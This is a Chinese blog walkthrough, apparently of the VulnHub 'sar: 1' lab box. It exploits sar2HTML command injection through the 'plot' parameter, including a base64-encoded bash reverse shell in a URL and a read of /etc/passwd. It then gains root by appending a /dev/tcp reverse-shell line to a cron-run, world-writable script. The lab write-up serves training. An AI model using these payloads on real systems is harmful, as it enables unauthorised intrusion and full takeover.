wait's〔三生石畔〕 善良人在追求中纵然迷惘,却终将意识到有一条正途。—— 歌德
【渗透测试-靶场】No.2 - sar (vulnhub)渗透测试
发表于: | 分类: 安全测试 | 评论:0 | 阅读: 2156

前言:本练习的靶机是vulnhub平台的sar,该靶机是一个类似oscp的虚拟机,目的是提高并巩固渗透测试的知识点。
主要利用方式:sar2HTML命令执行反弹shell(可php文件上传反弹shell)+定时脚本提权

一、靶机信息

靶场: vulnhub.com
靶机名称: sar: 1
难度: 简单
发布时间: 2020年2月15日
下载地址:https://www.vulnhub.com/entry/sar-1,425/
备注:本次靶机,无论是在第一层获取低权限的过程中还是提root权限,方法都很多。
          如:可以通过sar2HTML RCE 命令执行(get即可),也可以通过文件上传php  拿 webshell
                 提权时候,可以通过之前上传的webshell 指向 定时任务,或者用nc反弹shell 等等

二、虚拟机配置

这次采用的网络连接模式依然是NAT模式,为了避免扫描到其他物理主机。在导入虚拟机后,右击sar靶机,然后选中配置。依次点击网络配置->NAT模式->高级->生成,然后确认即可。

三、收集信息及第一阶段的攻击

1、探测靶机ip地址

└─$ sudo arp-scan -I eth0 -l

1.png

2、nmap探测目标IP的开放端口

└─$ sudo nmap -p- 192.168.169.141

2.png

3、nmap探测80端口的开放服务及服务信息

└─$ sudo nmap -p80 -sV -A 192.168.169.141

-A 代表综合性扫描,能收集很多重要的信息
-sV 代表扫描主要的服务信息
-p- 参数p是指定端口,后面的-代表所有端口。

3.png

4、发现只开放的80端口,看来突破口只能从web上找了。用浏览器打开该网站。
4.png

5、路径搜索,发现无dirsearch方法,机器自动安装也失败,包地址未查询到

└─$ dirsearch -u 192.168.169.141   

5.png

6、替换引用源即可

http://www.gyarmy.com/post-183.html
https://www.freesion.com/article/8078299621/

6.png

7、正常执行dirsearch 命令,探测敏感路径

└─$ dirsearch -u 192.168.169.141 

7.png

8、按照惯例,查询phpinfo.php 、robots.txt等敏感目录

http://192.168.169.141/phpinfo.php

8.png

9、查询robots.txt
9.png

10、查询sar2HTML页面,常规web项目

http://192.168.169.141/sar2HTML/

10.png

11、 kali 搜索一下目前存在已知的sar2html漏洞,发现存在RCE漏洞

└─$ searchsploit sar2html 

11.png

12、将sar2html利用的脚本拷贝至本地。

└─$ searchsploit -m php/webapps/49344.py

12.png

13、查看利用方式,可以发现利用的地方在于plot的入参处。

└─$ cat 49344.py 

13.png

14、首选查看passwd相关信息

http://192.168.169.142/index.php?plot=;cat /etc/passwd

14.png

15、文件上传,尝试上传jpg及 php文件,平台无任何过滤措施
15.png
15-2.png

16、在github中的源代码里面查询到上传的地址,
16.png

17、编辑一个php反弹shell的木马
(github等直接可以下载,GitHub - pentestmonkey/php-reverse-shell)
注意:要将ip改成kali的ip,端口port随便设置一个。
17.png

18、设置监听端口

└─$ nc -lnvp 7777

18.png

19.访问木马,反弹shell
这里的文件上传没有任何过滤,并且这个GitHub地址上给出了默认路径,尝试默认路径可以直接知道上传shell的路径
19.png

20、以上是通过php上传反弹shell的方式,但不知道因为啥原因,本次没有反弹成功,但时候查询别人的writeup发现是有反弹成功的。

21、通过返回RCE脚本测试,靶机对于 -e的入参,反弹没有成功,可能是靶机的nc禁用了-e参数

     经过测试,可以通过base64编码RCE命令即可正常反弹shell。
└─$ echo "bash -i &>/dev/tcp/192.168.169.129/8888 <&1" | base64

得到base64加密后的数据:YmFzaCAtaSAmPi9kZXYvdGNwLzE5Mi4xNjguMTY5LjEyOS84ODg4IDwmMQo=
21.png

22、再组合成下面的payload,也就是在靶机上将YmFzaCAtaSAmPi9kZXYvdGNwLzE5Mi4xNjguMTY5LjEyOS84ODg4IDwmMQo=进行base64解码之后再执行

echo YmFzaCAtaSAmPi9kZXYvdGNwLzE5Mi4xNjguMTY5LjEyOS84ODg4IDwmMQo= | base64 -d | bash

23、攻击机上nc监听8888端口,然后浏览器访问

http://192.168.169.142/sar2HTML/index.php?plot=;echo%20YmFzaCAtaSAmPi9kZXYvdGNwLzE5Mi4xNjguMTY5LjEyOS84ODg4IDwmMQo=%20|%20base64%20-d%20|%20bash

23.png

24、cd 到最高权限var目录, 查询var目录下低权限的靶机 flag。

find /home -iname "*.txt"|grep -v 'proc\|sys'

24.png

www-data@sar:/var$ find /home -iname "*.txt"|grep -v 'proc\|sys'
find /home -iname "*.txt"|grep -v 'proc\|sys'
find: '/home/love/.local': Permission denied
find: '/home/love/.cache': Permission denied
find: '/home/love/.gnupg': Permission denied
find: '/home/love/.gvfs': Permission denied
find: '/home/love/.dbus': Permission denied
find: '/home/love/.ssh': Permission denied
find: '/home/love/.config': Permission denied
/home/love/Desktop/user.txt
www-data@sar:/var$ cat /home/love/Desktop/user.txt
cat /home/love/Desktop/user.txt
427a7e47deb4a8649c7cab38df232b52
www-data@sar:/var$ 

四、提权

25、拿到shell后首先尝试了suid提权,内核提权,但是没有成功!目录里面也没有发现特殊文件,然后到网站的根目录下寻找特殊文件。

cd /var/www/html
ls -la

25.png

26、发现了两个特殊文件 :finally.sh这个文件属于root,write.sh这个文件具有777权限。查看一下这两个文件里面的内容。

cat finally.sh
cat write.sh

26.png

27、发现finally.sh里的内容就是执行write.sh文件,而write.sh文件的作用就是创建一个文件 /tmp/gateway。

  由此想到了计划任务提权,查看一下 定时任务的配置文件/etc/crontab。

27.png

28、定时计划配置不当,系统会每五分钟就以root权限执行finally.sh.最终的结果就是创建一个文件。

   如果利用这个定时器将反弹shell的代码写入write.sh中,进行执行,即可提权。

29、 将反弹shell命令写入/var/www/html/write.sh,并查看是否写入成功

$ echo "bash -c 'exec bash -i &>/dev/tcp/192.168.169.129/6666 <&1'" >> write.sh

29.png

• 在这个地方有一个坑,就是在反弹shell的控制台中,如果用vi指令,在输入 反弹shell命令后,没有办法正常执行:wq! 命令,并且按 ctrl +c == 退出shell模式,
• 这个时候,需要升级shell控制端,python -c "import pty;pty.spawn('/bin/bash')"

30、攻击机上nc监听6666端口
nc -nlvp 6666
30.png

31、等待片刻之后,root权限的反弹shell 正式上线,熟练的查看ID以及root.txt

   获取root权限下的flag
 cat /root/root.txt
 66f93d6b2ca96c9ad78a8a9ba0008e99

32、再查询一下拿到权限后的ip ,证明拿到了最终靶机的root权限
可发现本机IP为:192.168.169.142。根据前期查询的攻击机IP为:192.168.169.129

由此,第二个靶机的渗透测试到此结束。

添加新评论

TOP